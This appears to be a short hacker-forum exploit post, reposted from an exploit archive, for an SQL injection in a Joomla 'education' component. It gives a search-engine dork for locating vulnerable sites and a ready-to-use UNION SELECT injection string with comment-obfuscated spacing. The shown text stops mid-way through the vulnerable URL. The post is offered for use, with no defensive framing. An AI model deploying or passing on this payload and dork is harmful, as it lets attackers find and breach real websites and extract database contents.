Joomla component education SQLi Vulner

Joomla component education SQLi Vulner

From :

http://www.hack0wn.com/view.php?xroot=1157.0&cat=exploits

proof of concept :

# Exploit Title: joomla component education SQL injection Vulnerability

# Author: bumble_be

# Software Link: N/A

# Tested on: Windows XP 2

======================================================================

[x] author : bumble_be (iogi89@ymail.com)

[x] dork : inurl:option=com_education_classes

[x] myweb : http://linggau-haxor.com

======================================================================

==== SQLI EXPLOIT ====

/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

==== VULN IN HERE ====

http://localhost/xampp/joomla/index.php?option=com_education_classess&ta